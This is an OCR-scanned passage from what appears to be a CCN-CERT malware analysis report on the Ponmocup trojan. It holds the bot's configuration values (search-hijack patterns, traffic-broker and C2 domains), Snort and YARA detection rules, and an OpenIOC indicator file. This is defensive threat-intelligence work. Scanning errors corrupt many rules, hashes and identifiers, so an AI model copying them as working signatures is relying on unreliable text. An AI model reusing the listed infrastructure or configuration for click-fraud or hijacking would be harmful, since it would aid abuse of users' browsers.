5C?ver*q=*|*search.toolbars.alexa.com|g="

"1500","106","image/* | */*script* | text/css"

"1500","107","1"

"1500","108","www.google.com"

"1500","109","/intl/en/options/"

"1500","110","%s& %pin1%&%uid%&%pin2%&v=%pgn_ver%"

"1500","111","2"

"1500","112","4"

"1500","113","ask.com|bing|facebook|gmail | google | hotmail | msn | myspace | twitter |yahoo | youtub
e|craigslist|aol.com|ebay|wikipedia"

"1500","114","novotelcor.net|intuitionsearch.net"

"1500","115","/%s"

"1500","116","1"

"1500","117","1"

"1500","118","http://msdn.microsoft.com/en-us/aa570318.aspx"

"1500","119","604800"

"1500","120","2"

"1500","121","http://www.google.com/| http://www.ask.com/"

"1500","122","600"

"1500","123","*google.* | /s\x5C?*| *| 204 No Content"

"1500","124","0"

"1500","125","http://www.alextraffic.com/in.cgi?12"
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"1500","126","*/*/link.php*id=*| */*xxx\x5C?p=* | */a2/out.cgi* | */abrindo.php*| */at/out.cgi* | */at
3/out.cgi*| */atx/out.cgi* | */cgi-bin/g\x5C?* | */cgi-bin/Ipt/0\x5C?* | */cgi-bin/o.cgi* | */cgi-
bin/out.cgi*url=*| */cgi-

bin/tm3/*}*/cj_out.php*|*/cju/out.php* | */ct/cx.php* | */delivery/ck.php\x5C?* | */ecj/out.cgi* | */e
pt/out.php* | */fcj/out.php* | */ftt/o.php* | */gal.cgi\x5C?* | */gal.php\x5C?* | */go.php*Id=*| */Ipt/Ipt
out.cgi* | */Ipt/Iptouth.cgi* | */newcj/out.fcgi* | */newcj/out.php* | */o.php*Id=*| */out.php*Id=*| */o
ut.php*u=*|*/out.php*url=* | */out.php*urls=* | */outss.php*| */r/out.php* | */rb4/cout.cgi* | */sc/o
ut.php*| */scj/out.cgi* | */sloth_out.php*|*/sr/out.php* | */st/st.php* | */streamrotator/out.php* | */
sun/c.cgi*| */tbase.php\x5C?* | */tgp/o.php* | */thumb.php*| */tp/out.php*| */trade.php*Id=*| */tt-
out.php*|*/vanilla/process.php* | *Id=*/go.php*| *Id=*/0.php* | *Id=*/out.php* | *Id=*/trade.php* | *
cgi-

bin/ucj/c.cgi* | *chokertraffic.com/resell/* | *go.trafficshop.com/* | ¥id=*/*/link.php* | *trafficholder.c
om/in/in.php*| *tsprotraffic.com/in/*| *u=*/out.php*| *url=*/cgi-

bin/out.cgi* | *url=*/out.php* | *urls=*/out.php*"

"1500","127","900"

"1500","200","0"

"1500","201",""

"1500","202",""

"1500","300","3600"

"1500","301",""

"1500","302","/cgi-bin/rokfeller2.cgi?n="

"1500","303","/cgi-bin/rokfeller3.cgi?v=%stat_ver%"

"1500","400","0"

"1500","401"," "

"1500","402"," "

"1500","403","0"

"1500","404" "

"1500","405",""

"1500","406",""

"1500","101000","1"

"1500","101001","xkImcomp.com|globalnetscan.com"

"1500","102000","1"

"1500","102001"," /feed.php?%s"

"1500","110000","1"

"1500","110001","%s& %pin1%&%uid%& %pin2%&v=%pgn_ver%k"

"1500","114000","1"

"1500","114001","novotelcor.net |intuitionsearch.net"

"1500","115000","1"

"1500","115001","/%s"

"1500","128000","1"

"1500","128001","100"

"1501","10","<default>"

"2000","10","3"

"2000","11",""

"'2000","12"," /cgi-bin/rokfeller3.cgi?v=Y%stat_ver%"
"2000","100","http://www.chokertraffic.org/tds/main | http://www.trafficholder.org/vtds/main | http:
//www.brokertraffic.net/in/main | http://www.alextraffic.com/out/main"
"2000","101","http://sttraffic.com/"

"2000","102","* flw| *.fla| *.pdf| *.jar| *.war | *.swf| *.exe"

"2000","103","4tube.com | bigtube.com|deviantclip.com | drtuber.com | empflix.com|foxytube.com|h
ardsextube.com|heavy.com|keezmovies.com|livejasmin.com| mofosex.com| moviegator.com| pornh
ost.com|pornhub.com|pornotube.com|pornoxo.com|porntelecast.com|porntown.com |redtube.co
m | shufuni.com|slutload.com|tnaflix.com |tube8.com|xhamster.com|xvideos.com |youhot.com|youj
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izz.com|youporn.com|yporn.com"
"2000","104","86400"
"2000","105","1"
"'2000","106","300"
"2000","107","40"
"2000","108","20"
"2000","109","0"
"2000","110","30"
"2000","111","180"
"2000","112","2"
"2000","113","2"
"2000","114","0"
"2000","115","5"
"2000","116","10"
"2000","117","3"
"2000","118","0"
"2000","119","3"
"2000","120","0"
"2000","121","explorer.exe"
"2000","122","12"

10.2 Archivo de Dominios “dIl”

| abccornet.com,avengoinc.com,gtoolbar.net

11. REFERENCIAS

[1] How Big is Big? Some Botnet Statics - Abuse.ch
https:.//www.abuse.ch/2p=3294

[2] Ponmocup, lots changed, but not all - c-apt-ure.blogspot.com.es

http://c-apt-ure.blogspot.com.es/2012/03/ponmocup-lots-changed-but-not-all.hitml
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12. ANEXOS
ANEXO | - REGLAS DE DETECCION

REGLA SNORT

alert udp any any -> any 53 (content'montyinc|03|net"; msg:"Trojan Ponmocup
Domain Request detected”;)

alert tfcp any any -> any 80 (content!"GET';content:/hitml/license_";content:"
Mozilla/5.0 |28 | Windows|3B| U|3B| MSIE 8.0]3B| Windows NT 6.0|3B| en-US|29|";
msg:"Ponmocup GET detected.”;)

alert udp any any -> any 53 (content" imagehut4|02|cn"; msg:"Trojan Ponmocup
Downloader Domain Request detected";)

REGLA YARA

import "pe"

rule Trj_Ponmocup {

meta:
author = "Centro Criptolégico Nacional (CCN)"
description = "Ponmocup Installer"
strings:
$mz = { 4d 5a }
$pac = { 48 8F BB 54 5F 3E 4F 4E }
$unp = { 88 B8 7C 1F 46 00 33 C8 }
condition:

($mz at 0) and ($pac at Ox61F7C) and ($Sunp at O0x29F0)

}
rule Trj_Ponmocup_bownloader {
meta:
author = "Centro Criptoldégico Nacional (CCN)"
description = "Ponmocup Downloader"
strings:

$mz = { 4d 5a }
$vb5 = "vB5" fullword ascii
$tpb = "www.thepiratebay.org" fullword wide

$ua = "Mozilla/4.0 (compatible; MSIE 7.0; windows NT 5.2;
svl)" fullword wide

condition:

($mz at 0) and ($vb5) and ($tpb) and ($ua)
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rule Trj_Ponmocup_dl11 {
meta:
author = "Centro Criptoldégico Nacional (CCN)"
description = "Ponmocup Bot DLL"
strings:
$mz = { 4d 5a }
$pck = { 00 81 23 00 33 3E 00 00 3B F4 56 00 00 00 7D 00 }
$upk = { 68 F4 14 00 10 A1l 6C CO 02 10 FF DO 59 59 E9 7A }
condition:
($mz at 0) and ($pck at 0x8a50) and ($upk at 0x61f)

}

10C

<?xml version="1.0" encoding="us-ascii"?>

<ioc xmlns:xsi="http://www.w3.0rg/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.0rg/2001/XMLSchema" id="a209da74-723c-46af-ad88-
abfd39belf67" Jast-modified="2015-12-14T113:21:32"

xmlns="http://schemas.mandiant.com/2010/i0c">
<short_description>Ponmocup</short_description>
<description>I0Cs para detectar:

-Dropper

-Registry keys

-Network Traffic

Dropper
- MD5

- Registry keys

Snort </description>
<authored_by>CCN-CERT</authored_by>
<authored_date>2015-12-09T16:15:36</authored_date>
<1links />
<definition>
<Indicator operator="0OR" id="bclebe24-d0c9-4a76-afa0-f8159d7c2b25">

<IndicatorItem id="cac6c86b-278e-4153-bc47-341743418ef9"
condition="1is">

<Context document="FileItem" search="FileItem/Md5sum" type="mir" />
<Content type="md5">8el05ca9efl571eec69al8lefc32138a</Content>
</IndicatorItem>
<Indicator operator="OR" id="c2183c21-e78b-450c-85e6-6924a677caca">

<IndicatorItem id="ac5elf3c-d152-4520-8adc-e6cd560eb540"
condition="contains'">

<Context document="RegistryItem" search="RegistryItem/KeyPath"
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type="mir" />

<Content
type="string">HKCU\Software\Microsoft\Windows\Currentversion\Internet
Settings\1l</Content>

</IndicatorItem>
</Indicator>
<Indicator operator="OR" id="b8e31ed9-9735-43c0-916f-75446b207523">

<IndicatorItem id="bf79aca4-28d9-48ef-8d35-6c8blf2alba7"
condition="contains'">

<Context document="RegistryItem" search="RegistryItem/KeyPath"
type="mir" />

<Content
type="string">HKCU\Software\Microsoft\Windows\Currentversion\Internet
Settings\2</Content>

</IndicatorItem>
</Indicator>
<Indicator operator="OR" 1id="c5dce7ec-d448-4a3b-ad9%e-0fd072dac9fb">

<IndicatorItem 1d="0b68bcOb-f11d-4561-aeb2-2dd21b84c1d8"
condition="contains'">

<Context document="RegistryItem" search="RegistryItem/KeyPath"
type="mir" />

<Content
type="string">HKCU\Software\Microsoft\Windows\Currentversion\Internet
Settings\3</Content>

</IndicatorItem>
</Indicator>
<Indicator operator="OR" id="4c80149c-560a-40a0-8ba0-1b08bceafd83">

<IndicatorItem 1d="e2966808-3ad5-4290-bae8-00267ca968f2"
condition="contains">

<Context document="RegistryItem" search="RegistryItem/KeyPath"
type="mir" />

<Content
type="string">HKCU\Software\Microsoft\windows\Currentversion\Internet
Settings\4</Content>

</IndicatorItem>
</Indicator>
<Indicator operator="OR" id="343fe92a-a631-4f3e-a5ef-73de7fcac3al0">

<IndicatorItem 1d="278b2e49-bd9d-4c34-9750-b0571502c25b"
condition="contains">

<Context document="RegistryItem" search="RegistryItem/KeyPath"
type="mir" />

<Content
type="string">HKCU\Software\Microsoft\windows\Currentversion\Internet
Settings\5</Content>

</IndicatorItem>

</Indicator>
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<Indicator operator="OR"™ id="bd30e400-333c-4391-8995-19b59a13f4b6">

<IndicatorItem 1d="8cc005f2-cdfc-42a2-9722-8250b1b47ddc"
condition="contains'">

<Context document="RegistryItem" search="RegistryItem/KeyPath"
type="mir" />

<Content
type="string">HKCU\Software\Microsoft\Windows\Currentversion\Internet
Settings\6</Content>

</IndicatorItem>
</Indicator>
<Indicator operator="OR" id="9a98el12-4efa-4399-b7cd-a5fff433dcca">

<IndicatorItem id="83a2708a-a3c2-452d-b3fd-866977c46196"
condition="contains">

<Context document="RegistryItem" search="RegistryItem/KeyPath"
type="mir" />

<Content
type="string">HKCU\Software\Microsoft\Windows\Currentversion\Internet
Settings\7</Content>

</IndicatorItem>
</Indicator>
<Indicator operator="OR" id="ala29caf-f500-4ee8-8820-50749ace3726">

<IndicatorItem id="1b551bc4-1341-4d2e-b566-0019cd7bdb85"
condition="contains">

<Context document="RegistryItem" search="RegistryItem/KeyPath"
type="mir" />

<Content
type="string">HKCU\Software\Microsoft\Windows\Currentversion\Internet
Settings\8</Content>

</IndicatorItem>
</Indicator>
<Indicator operator="OR" id="d6d06aaf-a070-4436-a727-728844d2d55d">

<IndicatorItem id="fbc0da7f-697c-4414-8976-40b3ca89%efcc"
condition="contains'">

<Context document="RegistryItem" search="RegistryItem/KeyPath"
type="mir" />

<Content
type="string">HKCU\Software\Microsoft\Windows\Currentversion\Internet
Settings\9</Content>

</IndicatorItem>
</Indicator>
<Indicator operator="0OR" id="b90546fb-fff1-4582-b919-ec87216c6abb">

<IndicatorItem id="86ebfe61l-ba05-4dae-81dd-cf43e052c977"
condition="contains'">

<Context document="RegistryItem" search="RegistryItem/KeyPath"
type="mir" />

<Content type="string">HKCU\System\CurrentControlset\1l</Content>
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</IndicatorItem>
</Indicator>
<Indicator operator="OR" id="07fd9b52-b80c-4525-abd9-82a70cdd0e96">

<IndicatorItem id="3bc75e5a-b4a0-4f68-89e6-49b218c57h6e"
condition="contains">

<Context document="RegistryItem" search="RegistryItem/KeyPath"
type="mir" />

<Content type="string">HKCU\System\CurrentControlSet\2</Content>
</IndicatorItem>
</Indicator>
<Indicator operator="OR" id="5c4456a8-3355-458c-9721-f9%ac69bb40ca">

<IndicatorItem 1d="14d31b59-30b1-4ca8-8300-048cfd618093"
condition="contains">

<Context document="RegistryItem" search="RegistryItem/KeyPath"
type="mir" />

<Content type="string">HKCU\System\CurrentControlset\3</Content>
</IndicatorItem>
</Indicator>
<Indicator operator="OR" id="2912a55d-4671-4a94-8720-5d43b2df3720">

<IndicatorItem id="bd2e9430-79ca-4b01-b6c2-20df4533aa35"
condition="contains">

<Context document="RegistryItem" search="RegistryItem/KeyPath"
type="mir" />

<Content type="string">HKCU\System\CurrentControlSet\4</Content>
</IndicatorItem>
</Indicator>
<Indicator operator="OR" id="a7b484f4-cf7a-421e-9182-d48ca493e058">

<IndicatorItem 1d="09802d27-360a-44b6-996a-4e44al3516ea"
condition="contains">

<Context document="RegistryItem" search="RegistryItem/KeyPath"
type="mir" />

<Content type="string">HKCU\System\CurrentControlset\5</Content>
</IndicatorItem>
</Indicator>
<Indicator operator="OR" id="8b8a0853-6a40-477b-9298-a0af7ch63d4b">

<IndicatorItem id="51f092c5-fbca-4c4d-aee3-949539031ch0"
condition="contains">

<Context document="RegistryItem" search="RegistryItem/KeyPath"
type="mir" />

<Content type="string">HKCU\System\CurrentControlset\6</Content>
</IndicatorItem>
</Indicator>
<Indicator operator="0OR" id="29800f4d-fa93-4681-aae8-36d6b219f045">
<IndicatorItem id="8d2bba2d-9b1d-40d1-bfd8-f916282da730"
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condition="contains">

<Context document="RegistryItem" search="RegistryItem/KeyPath"
type="mir" />

<Content type="string">HKCU\System\CurrentControlSet\7</Content>
</IndicatorItem>
</Indicator>
<Indicator operator="OR" id="19af0d97-4ab9-4737-ac28-8da0d1698f2f">

<IndicatorItem id="0a9ad3c8-c472-45d1-91ca-79bb2604c12b"
condition="contains'">

<Context document="RegistryItem" search="RegistryItem/KeyPath"
type="mir" />

<Content type="string">HKCU\System\CurrentControlset\8</Content>
</IndicatorItem>
</Indicator>
<Indicator operator="0OR" id="12ddd90f-bc2b-438c-82eb-6f1f00964e50">

<IndicatorItem id="011f9f16-9ba4-42e5-b348-a2b69269c91a"
condition="contains'">

<Context document="RegistryItem" search="RegistryItem/KeyPath"
type="mir" />

<Content type="string">HKCU\System\CurrentControlset\9</Content>
</IndicatorItem>
</Indicator>
<Indicator operator="OR" id="3f3200bd-e00b-4161-a663-7bl8aa4a3d7d">

<IndicatorItem 1d="107893d1-e2fb-40ac-80d4-6492f6e67662"
condition="contains'">

<Context document="RegistryItem" search="RegistryItem/KeyPath"
type="mir" />

<Content
type="string">HKLM\Software\Microsoft\Windows\Currentversion\Internet
Settings\1l</Content>

</IndicatorItem>
</Indicator>
<Indicator operator="OR" id="0455227b-6867-4b9c-bd6e-af21bdad2450">

<IndicatorItem id="d1d75f6b-b519-479e-a229-f4cc51b0a47e"
condition="contains'">

<Context document="RegistryItem" search="RegistryItem/KeyPath"
type="mir" />

<Content
type="string">HKLM\Software\Microsoft\Windows\Currentversion\Internet
Settings\2</Content>

</IndicatorItem>

</Indicator>

<Indicator operator="0OR" id="43ee8661-71c2-436c-b887-82cc9f12d55f">
<IndicatorItem id="73bcc92b-24c8-417a-87c9-90189436f1bd"

condition="contains">
IIIIIIIIIIHHI
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<Context document="RegistryItem" search="RegistryItem/KeyPath"
type="mir" />

<Content
type="string">HKLM\Software\Microsoft\Windows\Currentversion\Internet
Settings\3</Content>

</IndicatorItem>
</Indicator>
<Indicator operator="OR" id="97bdale9-a4e5-470f-b5d8-992a0929%ec5e">

<IndicatorItem 1d="8317fd34-74f9-4560-9954-57a78548f6b4"
condition="contains'">

<Context document="RegistryItem" search="RegistryItem/KeyPath"
type="mir" />

<Content
type="string">HKLM\Software\Microsoft\Windows\Currentversion\Internet
Settings\4</Content>

</IndicatorItem>
</Indicator>
<Indicator operator="OR" id="4262b84b-288b-4973-94ac-bf8bcfl34adf">

<IndicatorItem 1d="89c99189-741e-415f-8b79-5287dc5928ba"
condition="contains'">

<Context document="RegistryItem" search="RegistryItem/KeyPath"
type="mir" />

<Content
type="string">HKLM\Software\Microsoft\Windows\Currentversion\Internet
Settings\5</Content>

</IndicatorItem>
</Indicator>
<Indicator operator="0OR" id="b30bf410-8a35-4b95-a309-59483431f868">

<IndicatorItem id="e9dbccf8-20f7-4372-8b07-d49c8477389b"
condition="contains">

<Context document="RegistryItem" search="RegistryItem/KeyPath"
type="mir" />

<Content
type="string">HKLM\Software\Microsoft\windows\Currentversion\Internet
Settings\6</Content>

</IndicatorItem>
</Indicator>
<Indicator operator="OR" id="4elf7266-3aa6-41d1-8cff-a86ebabd847c">

<IndicatorItem 1d="14637258-02el-4c22-ad4ce-7f0ac4bc7c58"
condition="contains">

<Context document="RegistryItem" search="RegistryItem/KeyPath"
type="mir" />

<Content
type="string">HKLM\Software\Microsoft\windows\Currentversion\Internet
Settings\7</Content>

</IndicatorItem>

</Indicator>
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<Indicator operator="OR"™ id="05f73715-2909-4584-8313-bc77f3c4c073">

<IndicatorItem id="c94ff5ef-3271-4a9c-bcb4-e4ae0f864aff"
condition="contains'">

<Context document="RegistryItem" search="RegistryItem/KeyPath"
type="mir" />

<Content
type="string">HKLM\Software\Microsoft\Windows\Currentversion\Internet
Settings\8</Content>

</IndicatorItem>
</Indicator>
<Indicator operator="OR" id="f6369a6e-c465-4alc-9b3a-dad08c43dd46">

<IndicatorItem id="blaec9a5-f627-4ca9-9482-91a728132772"
condition="contains">

<Context document="RegistryItem" search="RegistryItem/KeyPath"
type="mir" />

<Content
type="string">HKLM\Software\Microsoft\Windows\Currentversion\Internet
Settings\9</Content>

</IndicatorItem>
</Indicator>
<Indicator operator="OR" id="2538830d-5221-4d17-a6e3-351f71c8b823">

<IndicatorItem id="a9d41017-353e-4301-8581-1af534b7f339"
condition="contains">

<Context document="RegistryItem" search="RegistryItem/KeyPath"
type="mir" />

<Content type="string">HKLM\System\CurrentControlSet\1l</Content>
</IndicatorItem>
</Indicator>
<Indicator operator="OR" id="adfad4la-5310-4b12-af49-6b8e4dfb4bd8">

<IndicatorItem id="7b1442e6-45fa-4b79-917d-f66622df5385"
condition="contains">

<Context document="RegistryItem" search="RegistryItem/KeyPath"
type="mir" />

<Content type="string">HKLM\System\CurrentControlSet\2</Content>
</IndicatorItem>
</Indicator>
<Indicator operator="OR" id="856f6df3-2bla-46b2-b7e6-ed3bfl0la9ae">

<IndicatorItem id="1209ba7b-ff4e-45cd-8d5e-2db91288bh8a0"
condition="contains">

<Context document="RegistryItem" search="RegistryItem/KeyPath"
type="mir" />

<Content type="string">HKLM\System\CurrentControlSet\3</Content>
</IndicatorItem>
</Indicator>
<Indicator operator="OR" id="f449f045-78ef-429b-89b7-b16f761cf4ff">
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<IndicatorItem 1d="c26f67bd-233d-4f57-99ba-66079cf4be77"
condition="contains'">

<Context document="RegistryItem" search="RegistryItem/KeyPath"
type="mir" />

<Content type="string">HKLM\System\CurrentControlSet\4</Content>
</IndicatorItem>
</Indicator>
<Indicator operator="OR" id="4353cb74-c2a7-48e8-b4ff-9a2a6c55086e">

<IndicatorItem id="1bd0ed48-0ae9-4f00-87cb-b951el5fac03"
condition="contains'">

<Context document="RegistryItem" search="RegistryItem/KeyPath"
type="mir" />

<Content type="string">HKLM\System\CurrentControlsSet\5</Content>
</IndicatorItem>
</Indicator>
<Indicator operator="OR" id="1774e577-3d30-4773-ac2d-eld84a34fa07">

<IndicatorItem id="c45cd815-0bb6-4ff1-987c-370ceb08200f"
condition="contains'">

<Context document="RegistryItem" search="RegistryItem/KeyPath"
type="mir" />

<Content type="string">HKLM\System\CurrentControlsSet\6</Content>
</IndicatorItem>
</Indicator>
<Indicator operator="OR" id="05al23ca-76fe-435a-a2e9-ce885786fbh54">

<IndicatorItem id="5e6b66c4-376d-4591-af9b-240d8056c4d1"
condition="contains'">

<Context document="RegistryItem" search="RegistryItem/KeyPath"
type="mir" />

<Content type="string">HKLM\System\CurrentControlset\7</Content>
</IndicatorItem>
</Indicator>
<Indicator operator="OR" id="b1f367bd-4984-4a27-bbad-f66f47687543">

<IndicatorItem 1d="9284c2el-add8-4f20-86e5-09ef26215b67"
condition="contains'">

<Context document="RegistryItem" search="RegistryItem/KeyPath"
type="mir" />

<Content type="string">HKLM\System\CurrentControlset\8</Content>
</IndicatorItem>
</Indicator>
<Indicator operator="OR" id="8318e310-5fc5-45f3-bf96-09f7e47e19%ee">

<IndicatorItem id="2a05a564-20c9-40b0-bal0-934867fdc31c"
condition="contains'">

<Context document="RegistryItem" search="RegistryItem/KeyPath"

type="mir" />
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<Content type="string">HKLM\System\CurrentControlSet\9</Content>
</IndicatorItem>
</Indicator>
<Indicator operator="OR" id="5677a87a-5de9-4071-b690-889588b86df4">

<IndicatorItem id="bc3784bb-1lee4-4ale-9d7d-67c7e8330617"
condition="contains">

<Context document="Snort" search="Snort/sSnort" type="mir" />

<Content type="string">alert udp any any -&gt; any 53
(content:"montyinc|03|net"; msg:"Trojan Ponmocup Domain Request detected";
s1d:1000002; )

</Content>
</IndicatorItem>
</Indicator>
<Indicator operator="OR" id="578c0239-a08c-4b23-b2ba-841031685513">

<IndicatorItem 1d="3067df7c-dbb3-49e2-aaa8-035fb6079afc"
condition="contains'">

<Context document="Snort" search="Snort/Snort" type="mir" />

<Content type="string">alert tcp any any -&gt; any 80
(content:"GET";content:"/html/license_";content:"Mozilla/5.0 |28 |windows | 3B |
ul3B| MSIE 8.0|3B| windows NT 6.0|3B|] en-uUS|29|"; msg:"Ponmocup GET

detected."; sid:1000004; )</Content>
</IndicatorItem>
</Indicator>
</Indicator>
</definition>

</ioc>
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